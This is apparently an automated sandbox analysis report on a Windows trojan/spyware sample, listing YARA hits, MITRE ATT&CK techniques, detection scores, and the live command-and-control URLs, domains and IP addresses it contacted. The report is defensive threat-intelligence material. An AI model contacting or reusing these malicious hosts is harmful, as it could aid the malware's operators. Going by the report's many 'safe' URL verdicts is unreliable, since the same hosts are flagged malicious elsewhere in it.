Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2203489925.0000000005000000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4491976479.0000000006A20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4487941986.0000000002590000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2202835266.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2203112079.0000000003480000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4487732507.0000000000110000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4487977474.00000000025D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4488832936.00000000041A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00FA1204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		0_2_00FA1204
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00FA1806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_00FA1806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	241 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	312 Process Injection	2 Valid Accounts	Cached Domain Credentials	12 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	312 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
0XLuA614VK.exe	61%	ReversingLabs	Win32.Trojan.Leonem
0XLuA614VK.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.formytinyhome.com/lztc/?V6h=7O2Vi30c2oKUz/gZ0nmLwDIgwhZodI9AolnTqJiIqHlz4L2fxMx7xnfeqZW9vH+mS4f3qWyrmk5EaMabwLfk8B7yJXbJanTlK0OvtO++wyfSRGRbh4BKfAxEuo7imst0wg==&sH=nVVHdDTx2PSTVJ	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://www.namesilo.com/whois	0%	Avira URL Cloud	safe
http://www.cacingnaga36.click/ssw0/	0%	Avira URL Cloud	safe
http://www.bnmlk.org/?ts=fENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwMTF8fHx8fHw2NmQ5YTM2NDExYzB	0%	Avira URL Cloud	safe
http://www.whiskeydecanterset.com/wuux/?sH=nVVHdDTx2PSTVJ&V6h=G8W1V2+ngxJ+E83/0IyfiXupIqoHasoRgPgAY3+/EHQIvd2Wul84Lo8VWixQDtg5AMG3Phy0eNTP33PkrrD0t0eGx0WSmGJ1HH0cwOwxD95TaQSaBMeTfZ443OH1gA0wDQ==	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://www.thecivilwearsprada06.site/2hp8/	0%	Avira URL Cloud	safe
http://www.smokesandhoney.com/ld3u/?V6h=7cSyNGFy/S5quoM6udyikngV4L2ptvlq1/kf9BPZtTlwCENfjvle2IZfxcv5JQLEZFLmm1935WPn1s0g14qVusJPQGgEr6+5yVxfblixZgca2mD/C/dkht+8dQzCD1+Jew==&sH=nVVHdDTx2PSTVJ	0%	Avira URL Cloud	safe
http://www.cacingnaga36.click/ssw0/?V6h=EWS2YwJnJiunoUuFc/7D9RbaJ3v4wM/73ZiSCzwa3KkaAEYrAxr2MHaEXaA/BV5/vIbe5XGczNGh+M2iNsrtVcMRpqBE9VdECLv8jlI9PFfIoqokrAMGKtNOgnbIBrYWGQ==&sH=nVVHdDTx2PSTVJ	0%	Avira URL Cloud	safe
http://www.4odagiyn.click/f1qc/?V6h=hzwN5LvsQYGPXTyx42WRS7uCqzLBy6ud4OZoJGct5lGhQCi/JqvYfzOI1V2uJBuqGZjzCjoJ029vt64MfCw2DjbXOZQ5rAFnHlGKde1l7O/bIsy3YWShbixw9PLvmnDlNA==&sH=nVVHdDTx2PSTVJ	0%	Avira URL Cloud	safe
http://www.marinamaquiagens.online/n4sv/?V6h=Rn8sYt8YDaYT7jFf5K1RN21751bCn2USuvRVR0XZr3jMl4ljVezIqMhPdYzWo0QynoEEVao5Nd7ZkOoeHk8KzYmVnd6lY3cEc8VkS42gD8QuE3e2/CTNStdnS6k5rMWW1Q==&sH=nVVHdDTx2PSTVJ	0%	Avira URL Cloud	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://www.smokesandhoney.com/ld3u/	0%	Avira URL Cloud	safe
http://www.5a8yly.cfd/kfsd/	0%	Avira URL Cloud	safe
http://www.bnmlk.org/r6tm/?sH=nVVHdDTx2PSTVJ&V6h=03r06RSocIWRHlQMBHZ7/ZdxuKKmGlmlv7BltFVQgkYFIdRnDBF7O8WDu3tP30gBrpd5Hehkjcnr6TVmd9giBmXATSrzqLCUTktLP3Nid+3n62oF5w/Mdat6l5CFzOydDA==	0%	Avira URL Cloud	safe
https://www.namesilo.com	0%	Avira URL Cloud	safe
https://d38psrni17bvxu.cloudfront.net/themes/registrar/images/namesilo.svg	0%	Avira URL Cloud	safe
http://www.yi992.com/iuti/?V6h=hoHbkVcpbob4KKGwTSg4Qmxuxm4KO3ujR6NVpJZRiS90gufBWzA0W/yR6JGFw3H3NTWRULQgnx1gCbPTi357oLTiVxRhMsTUHJ+Wl6jWlVJ6tv3Z5Sqw5Cg13CqV209vow==&sH=nVVHdDTx2PSTVJ	0%	Avira URL Cloud	safe
https://pcnatrk.net/track.	0%	Avira URL Cloud	safe
https://www.ecosia.org/newtab/	0%	Avira URL Cloud	safe
http://ww1.5a8yly.cfd/kfsd/?sH=nVVHdDTx2PSTVJ&V6h=xdt0ktZO0PUVE8ko/vYSpSqVpvi6VCO8XncayCS9euW1eL9fqb	0%	Avira URL Cloud	safe
http://ww7.4odagiyn.click/f1qc/?V6h=hzwN5LvsQYGPXTyx42WRS7uCqzLBy6ud4OZoJGct5lGhQCi/JqvYfzOI1V2uJBuq	0%	Avira URL Cloud	safe
https://www.formytinyhome.com/lztc/?V6h=7O2Vi30c2oKUz/gZ0nmLwDIgwhZodI9AolnTqJiIqHlz4L2fxMx7xnfeqZW9	0%	Avira URL Cloud	safe
https://www.smokesandhoney.com/ld3u/?V6h=7cSyNGFy/S5quoM6udyikngV4L2ptvlq1/kf9BPZtTlwCENfjvle2IZfxcv	0%	Avira URL Cloud	safe
https://ac.ecosia.org/autocomplete?q=	0%	Avira URL Cloud	safe
http://www.wildenmann.shop/ccpi/	0%	Avira URL Cloud	safe
https://www.google.com	0%	Avira URL Cloud	safe
http://www.4odagiyn.click/f1qc/	0%	Avira URL Cloud	safe
https://www.namesilo.com/domain/search-domains	0%	Avira URL Cloud	safe
http://www.rigintech.info/ig9u/?V6h=DsbZHDl7ETyucOGSRMDREU0gLqon/JCM1qPnn3cy3RxLEFGk9lVuu2W6wSDxGu+YER8koFm75cmrGcIzTbmZQ3LhDYrene07E1oxIZlh9GtUu7RZMRKLFDCiJnSgV5dMHg==&sH=nVVHdDTx2PSTVJ	100%	Avira URL Cloud	malware
http://www.bnmlk.org/r6tm/	0%	Avira URL Cloud	safe
http://www.5a8yly.cfd/kfsd/?sH=nVVHdDTx2PSTVJ&V6h=xdt0ktZO0PUVE8ko/vYSpSqVpvi6VCO8XncayCS9euW1eL9fqbwTWogO+vBLUJXWpdaX6FBHI3PARBJ6BBwlCmNGVSn5FdlKflrneiv2THCpchPWcIBHiIkx6LHBCpUWbA==	0%	Avira URL Cloud	safe
http://www.formytinyhome.com/lztc/	0%	Avira URL Cloud	safe
http://c.parkingcrew.net/scripts/sale_form.js	0%	Avira URL Cloud	safe
http://www.marinamaquiagens.online/n4sv/	0%	Avira URL Cloud	safe
http://www.4odagiyn.click	0%	Avira URL Cloud	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css	0%	Avira URL Cloud	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	Avira URL Cloud	safe
http://www.rigintech.info/ig9u/	100%	Avira URL Cloud	malware
http://wildenmann.shop/ccpi/?sH=nVVHdDTx2PSTVJ&V6h=96vdCLF6vzOjbBC3mbkrC4zzUz2rd8Vx/oWpiC2btghNh3zo1	0%	Avira URL Cloud	safe
http://www.yi992.com/iuti/	0%	Avira URL Cloud	safe
http://www.wildenmann.shop/ccpi/?sH=nVVHdDTx2PSTVJ&V6h=96vdCLF6vzOjbBC3mbkrC4zzUz2rd8Vx/oWpiC2btghNh3zo1JohGtlH0OSuyloWV4aL4gulV88Z8WUGiHxG/5dbitedT3dwls/KnYRS+O7Xw5tFmWV2oMBDB9F7a8JBDA==	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.rigintech.info	162.0.213.94	true	true	unknown
869710.parkingcrew.net	13.248.151.237	true	true	unknown
77980.bodis.com	199.59.243.226	true	true	unknown
www.wildenmann.shop	91.203.110.247	true	true	unknown
www.4odagiyn.click	72.52.178.23	true	true	unknown
www.5a8yly.cfd	72.52.178.23	true	true	unknown
td-ccm-neg-87-45.wixdns.net	34.149.87.45	true	true	unknown
www.marinamaquiagens.online	15.197.240.20	true	true	unknown
www.ios2222abh.top	unknown	unknown	true	unknown
www.bnmlk.org	unknown	unknown	true	unknown
www.shimakaze-83.cfd	unknown	unknown	true	unknown
www.cacingnaga36.click	unknown	unknown	true	unknown
198.187.3.20.in-addr.arpa	unknown	unknown	true	unknown
www.sugargz.com	unknown	unknown	true	unknown
www.whiskeydecanterset.com	unknown	unknown	true	unknown
www.yi992.com	unknown	unknown	true	unknown
www.smokesandhoney.com	unknown	unknown	true	unknown
www.thecivilwearsprada06.site	unknown	unknown	true	unknown
www.sandiegosharon.com	unknown	unknown	true	unknown
www.formytinyhome.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.formytinyhome.com/lztc/?V6h=7O2Vi30c2oKUz/gZ0nmLwDIgwhZodI9AolnTqJiIqHlz4L2fxMx7xnfeqZW9vH+mS4f3qWyrmk5EaMabwLfk8B7yJXbJanTlK0OvtO++wyfSRGRbh4BKfAxEuo7imst0wg==&sH=nVVHdDTx2PSTVJ	true	Avira URL Cloud: safe	unknown
http://www.thecivilwearsprada06.site/2hp8/	true	Avira URL Cloud: safe	unknown
http://www.cacingnaga36.click/ssw0/	true	Avira URL Cloud: safe	unknown
http://www.whiskeydecanterset.com/wuux/?sH=nVVHdDTx2PSTVJ&V6h=G8W1V2+ngxJ+E83/0IyfiXupIqoHasoRgPgAY3+/EHQIvd2Wul84Lo8VWixQDtg5AMG3Phy0eNTP33PkrrD0t0eGx0WSmGJ1HH0cwOwxD95TaQSaBMeTfZ443OH1gA0wDQ==	true	Avira URL Cloud: safe	unknown
http://www.smokesandhoney.com/ld3u/?V6h=7cSyNGFy/S5quoM6udyikngV4L2ptvlq1/kf9BPZtTlwCENfjvle2IZfxcv5JQLEZFLmm1935WPn1s0g14qVusJPQGgEr6+5yVxfblixZgca2mD/C/dkht+8dQzCD1+Jew==&sH=nVVHdDTx2PSTVJ	true	Avira URL Cloud: safe	unknown
http://www.cacingnaga36.click/ssw0/?V6h=EWS2YwJnJiunoUuFc/7D9RbaJ3v4wM/73ZiSCzwa3KkaAEYrAxr2MHaEXaA/BV5/vIbe5XGczNGh+M2iNsrtVcMRpqBE9VdECLv8jlI9PFfIoqokrAMGKtNOgnbIBrYWGQ==&sH=nVVHdDTx2PSTVJ	true	Avira URL Cloud: safe	unknown
http://www.smokesandhoney.com/ld3u/	true	Avira URL Cloud: safe	unknown
http://www.5a8yly.cfd/kfsd/	true	Avira URL Cloud: safe	unknown
http://www.4odagiyn.click/f1qc/?V6h=hzwN5LvsQYGPXTyx42WRS7uCqzLBy6ud4OZoJGct5lGhQCi/JqvYfzOI1V2uJBuqGZjzCjoJ029vt64MfCw2DjbXOZQ5rAFnHlGKde1l7O/bIsy3YWShbixw9PLvmnDlNA==&sH=nVVHdDTx2PSTVJ	true	Avira URL Cloud: safe	unknown
http://www.bnmlk.org/r6tm/?sH=nVVHdDTx2PSTVJ&V6h=03r06RSocIWRHlQMBHZ7/ZdxuKKmGlmlv7BltFVQgkYFIdRnDBF7O8WDu3tP30gBrpd5Hehkjcnr6TVmd9giBmXATSrzqLCUTktLP3Nid+3n62oF5w/Mdat6l5CFzOydDA==	true	Avira URL Cloud: safe	unknown
http://www.marinamaquiagens.online/n4sv/?V6h=Rn8sYt8YDaYT7jFf5K1RN21751bCn2USuvRVR0XZr3jMl4ljVezIqMhPdYzWo0QynoEEVao5Nd7ZkOoeHk8KzYmVnd6lY3cEc8VkS42gD8QuE3e2/CTNStdnS6k5rMWW1Q==&sH=nVVHdDTx2PSTVJ	true	Avira URL Cloud: safe	unknown
http://www.yi992.com/iuti/?V6h=hoHbkVcpbob4KKGwTSg4Qmxuxm4KO3ujR6NVpJZRiS90gufBWzA0W/yR6JGFw3H3NTWRULQgnx1gCbPTi357oLTiVxRhMsTUHJ+Wl6jWlVJ6tv3Z5Sqw5Cg13CqV209vow==&sH=nVVHdDTx2PSTVJ	true	Avira URL Cloud: safe	unknown
http://www.wildenmann.shop/ccpi/	true	Avira URL Cloud: safe	unknown
http://www.4odagiyn.click/f1qc/	true	Avira URL Cloud: safe	unknown
http://www.bnmlk.org/r6tm/	true	Avira URL Cloud: safe	unknown
http://www.marinamaquiagens.online/n4sv/	true	Avira URL Cloud: safe	unknown
http://www.formytinyhome.com/lztc/	true	Avira URL Cloud: safe	unknown
http://www.rigintech.info/ig9u/?V6h=DsbZHDl7ETyucOGSRMDREU0gLqon/JCM1qPnn3cy3RxLEFGk9lVuu2W6wSDxGu+YER8koFm75cmrGcIzTbmZQ3LhDYrene07E1oxIZlh9GtUu7RZMRKLFDCiJnSgV5dMHg==&sH=nVVHdDTx2PSTVJ	true	Avira URL Cloud: malware	unknown
http://www.5a8yly.cfd/kfsd/?sH=nVVHdDTx2PSTVJ&V6h=xdt0ktZO0PUVE8ko/vYSpSqVpvi6VCO8XncayCS9euW1eL9fqbwTWogO+vBLUJXWpdaX6FBHI3PARBJ6BBwlCmNGVSn5FdlKflrneiv2THCpchPWcIBHiIkx6LHBCpUWbA==	true	Avira URL Cloud: safe	unknown
http://www.yi992.com/iuti/	true	Avira URL Cloud: safe	unknown
http://www.rigintech.info/ig9u/	true	Avira URL Cloud: malware	unknown
http://www.wildenmann.shop/ccpi/?sH=nVVHdDTx2PSTVJ&V6h=96vdCLF6vzOjbBC3mbkrC4zzUz2rd8Vx/oWpiC2btghNh3zo1JohGtlH0OSuyloWV4aL4gulV88Z8WUGiHxG/5dbitedT3dwls/KnYRS+O7Xw5tFmWV2oMBDB9F7a8JBDA==	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	msiexec.exe, 00000004.00000002.4490958561.00000000073BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	msiexec.exe, 00000004.00000002.4490958561.00000000073BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.bnmlk.org/?ts=fENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwMTF8fHx8fHw2NmQ5YTM2NDExYzB	sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000005664000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000005AB4000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	msiexec.exe, 00000004.00000002.4490958561.00000000073BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.namesilo.com/whois	sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000005664000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000005AB4000.00000004.10000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4490874139.0000000007110000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	msiexec.exe, 00000004.00000002.4490958561.00000000073BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	msiexec.exe, 00000004.00000002.4490958561.00000000073BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://d38psrni17bvxu.cloudfront.net/themes/registrar/images/namesilo.svg	sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000005664000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000005AB4000.00000004.10000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4490874139.0000000007110000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.namesilo.com	sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000005664000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000005AB4000.00000004.10000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4490874139.0000000007110000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pcnatrk.net/track.	sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000005664000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000005AB4000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	msiexec.exe, 00000004.00000002.4490958561.00000000073BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ww7.4odagiyn.click/f1qc/?V6h=hzwN5LvsQYGPXTyx42WRS7uCqzLBy6ud4OZoJGct5lGhQCi/JqvYfzOI1V2uJBuq	sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000004B66000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000004FB6000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.formytinyhome.com/lztc/?V6h=7O2Vi30c2oKUz/gZ0nmLwDIgwhZodI9AolnTqJiIqHlz4L2fxMx7xnfeqZW9	sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000005B1A000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000005F6A000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ww1.5a8yly.cfd/kfsd/?sH=nVVHdDTx2PSTVJ&V6h=xdt0ktZO0PUVE8ko/vYSpSqVpvi6VCO8XncayCS9euW1eL9fqb	sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000005CAC000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.00000000060FC000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.smokesandhoney.com/ld3u/?V6h=7cSyNGFy/S5quoM6udyikngV4L2ptvlq1/kf9BPZtTlwCENfjvle2IZfxcv	sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.00000000057F6000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000005C46000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	msiexec.exe, 00000004.00000002.4490958561.00000000073BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com	sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.00000000049D4000.00000004.80000000.00040000.00000000.sdmp, sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.00000000051AE000.00000004.80000000.00040000.00000000.sdmp, sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000006162000.00000004.80000000.00040000.00000000.sdmp, sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000005E3E000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.00000000065B2000.00000004.10000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.000000000628E000.00000004.10000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000004E24000.00000004.10000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.00000000055FE000.00000004.10000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4490874139.0000000007110000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000006.00000002.2496207434.000000003BAE4000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.namesilo.com/domain/search-domains	sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000005664000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000005AB4000.00000004.10000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4490874139.0000000007110000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://c.parkingcrew.net/scripts/sale_form.js	sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000005664000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000005AB4000.00000004.10000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4490874139.0000000007110000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.4odagiyn.click	sXmdPDASzrmzi.exe, 00000003.00000002.4491976479.0000000006A6F000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	msiexec.exe, 00000004.00000002.4490958561.00000000073BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css	sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.00000000054D2000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	msiexec.exe, 00000004.00000002.4490958561.00000000073BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://wildenmann.shop/ccpi/?sH=nVVHdDTx2PSTVJ&V6h=96vdCLF6vzOjbBC3mbkrC4zzUz2rd8Vx/oWpiC2btghNh3zo1	sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000005988000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000005DD8000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
72.52.178.23	www.4odagiyn.click	United States	32244	LIQUIDWEBUS	true
162.0.213.94	www.rigintech.info	Canada	35893	ACPCA	true
15.197.240.20	www.marinamaquiagens.online	United States	7430	TANDEMUS	true
199.59.243.226	77980.bodis.com	United States	395082	BODIS-NJUS	true
13.248.151.237	869710.parkingcrew.net	United States	16509	AMAZON-02US	true
34.149.87.45	td-ccm-neg-87-45.wixdns.net	United States	2686	ATGS-MMD-ASUS	true
91.203.110.247	www.wildenmann.shop	Germany	45012	CLOUDPITDE	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1504851
Start date and time:	2024-09-05 14:23:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	0XLuA614VK.exe renamed because original name is a hash value
Original Sample Name:	4399aa607bbc0faabced85f15b59b4d01a50d79da07f8d6bc825e358ad417e52.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/5@17/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 51 Number of non-executed functions: 290
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 0XLuA614VK.exe

Simulations

Behavior and APIs

Time	Type	Description
08:24:52	API Interceptor	11430123x Sleep call for process: msiexec.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
72.52.178.23	firmware.mipsel.elf	Get hash	malicious	Unknown	Browse	72.52.178.23/
	firmware.x86_64.elf	Get hash	malicious	Unknown	Browse	72.52.178.23/
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook, LummaC Stealer	Browse	wxgzshna.biz/tjqadrxf
	Payment Advice_pdf.exe	Get hash	malicious	FormBook	Browse	www.4odagiyn.click/gxdy/?wr0Pj=KV5Jrq3uQAaNM2aLdfcvsgjVK9kADTCwl2ot6XJe6eXLh/GoAhGOOChIKT8ahsBMcaoVrunStVNYmOsjn5DhXB3XfkbxjY3JL8iub3zErALsqAgcv+n8a/I=&1d=cfLL
	QLLafoDdqv.exe	Get hash	malicious	FormBook	Browse	www.shenzhoucui.com/fo8o/
	http://www.multipool.us	Get hash	malicious	Unknown	Browse	www.multipool.us/
